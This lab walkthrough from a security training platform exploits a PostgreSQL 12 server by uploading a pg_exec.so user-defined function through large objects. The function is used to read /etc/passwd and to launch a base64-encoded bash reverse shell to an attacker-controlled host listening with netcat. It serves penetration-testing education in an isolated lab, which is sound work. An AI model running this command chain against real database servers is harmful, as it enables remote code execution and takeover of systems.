PostgreSQL UDF Command Execution
In our lab walkthrough series, we go through selected lab exercises on our AttackDefense Platform. Premium labs require a subscription, but you can sign in for free to try our community labs and view the list of topics — no subscription or VPN required!
Metasploit framework is the most popular and powerful network penetration testing tool, used widely all around the world. The framework provides ready to use exploits, information gathering modules to take advantage of the system’s weaknesses. It has powerful in-built scripts and plugins that allow us to automate the process of exploitation.
Lab Scenario
We have set up the below scenario in our Attack-Defense labs for our students to practice. The screenshots have been taken from our online lab environment.
Lab: PostgresSQL UDF Command Execution
This lab comprises a kali machine with all tools installed on it. The user or practitioner will get a shell command-line interface (CLI) access to the Kali machine, through the web browser.
Challenge Statement
The target server as described below is running a Vulnerable PostgresSQL server. Your task is to fingerprint the service using tools available on the Kali machine and then exploit the application using the appropriate method. Following credentials might be needed:
- Username: postgres
- Password: adminpasswd
Objective: Exploit the service and retrieve the flag!
Solution
Step 1: Run a Nmap scan against the target IP
Command: nmap -sS -sV 192.84.89.3
Step 2: We have discovered that the PostgreSQL database server is running on the target. We have the credentials of the PostgreSQL server. Login it using those credentials.
Command: psql -h 192.84.89.3 -U postgres
Password for user postgres: adminpasswd
Step 3: Check the target PostgreSQL server version.
Command: SELECT version();
Step 4: We can notice the target is running PostgreSQL 12. Search “pgexec GitHub” on google to find the POC code.
Step 5: Open Github link: https://github.com/Dionach/pgexec/blob/master/pg_exec.c
We need to compile the pg_exec.c file. The binary allows us to execute system commands on the target machine using psql queries. There is a pre-compiled pg_exec.c binary placed in “/root/exploits/postgresql/” i.e pg_exec.so based on a specific version of PostgreSQL 12.
Command: cd /root/exploits/postgresql/
Step 6: We need to upload the pg_exec.so file on the target server. We will use PostgreSQL queries to do that. Split the pg_exec.so using the split utility.
Command: split -b 2048 /root/exploits/postgresql/pg_exec.so
Step 7: Create an empty large object and store data there using a PostgreSQL query.
Commands:
psql -h 192.84.89.3 -U postgres
Password for user postgres: adminpasswd
SELECT lo_creat(-1);
\set c0 `base64 -w 0 xaa`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 0, decode(:’c0', ‘base64’));
\set c1 `base64 -w 0 xab`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 1, decode(:’c1', ‘base64’));
\set c2 `base64 -w 0 xac`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 2, decode(:’c2', ‘base64’));
\set c3 `base64 -w 0 xad`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 3, decode(:’c3', ‘base64’));
\set c4 `base64 -w 0 xae`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 4, decode(:’c4', ‘base64’));
\set c5 `base64 -w 0 xaf`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 5, decode(:’c5', ‘base64’));
\set c6 `base64 -w 0 xag`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 6, decode(:’c6', ‘base64’));
\set c7 `base64 -w 0 xah`
INSERT INTO pg_largeobject (loid, pageno, data) values (24576, 7, decode(:’c7', ‘base64’));
Step 8: Export the pg_exec.so file into /tmp folder.
Command: SELECT lo_export(24576, ‘/tmp/pg_exec.so’);
Step 9: Create a function i.e sys and execute commands on target.
Commands:
CREATE FUNCTION sys(cstring) RETURNS int AS ‘/tmp/pg_exec.so’, ‘pg_exec’ LANGUAGE ‘c’ STRICT;
Use the created function i.e sys(); and read the /etc/passwd file.
SELECT sys(‘cat /etc/passwd > /tmp/target’);
SELECT pg_read_file(‘/tmp/target’);
Step 10: We have successfully executed system commands on the target server. We will execute a bash one-liner shell to gain a reverse connection on the attacker machine.
Commands:
echo ‘bash -i >& /dev/tcp/192.84.89.2/4444 0>&1’ | base64
Step 11: Open another terminal and run Netcat listener.
Command: nc -lvp 4444
Step 12: Execute the bash reverse shell on the target machine.
Command: SELECT sys(‘echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuODQuODkuMi80NDQ0IDA+JjEK | base64 -d | bash -i’);
Step 13: Find the flag.
Commands:
find / -name flag
cat /flag
This reveals the flag to us.
Flag: ecc285047309ef0f8570732c6e88b02e
References
- PostgreSQL (https://www.postgresql.org/)
- Script and resources to execute shell commands using access to a PostgreSQL service (https://github.com/Dionach/pgexec)
Go beyond walkthroughs with hands-on practice. Subscribe now and gain access to 2000+ lab exercises including this one! We also provide on-demand bootcamps — follow along with instructors as they go through the labs and progressively master in-demand topics regardless of time zone!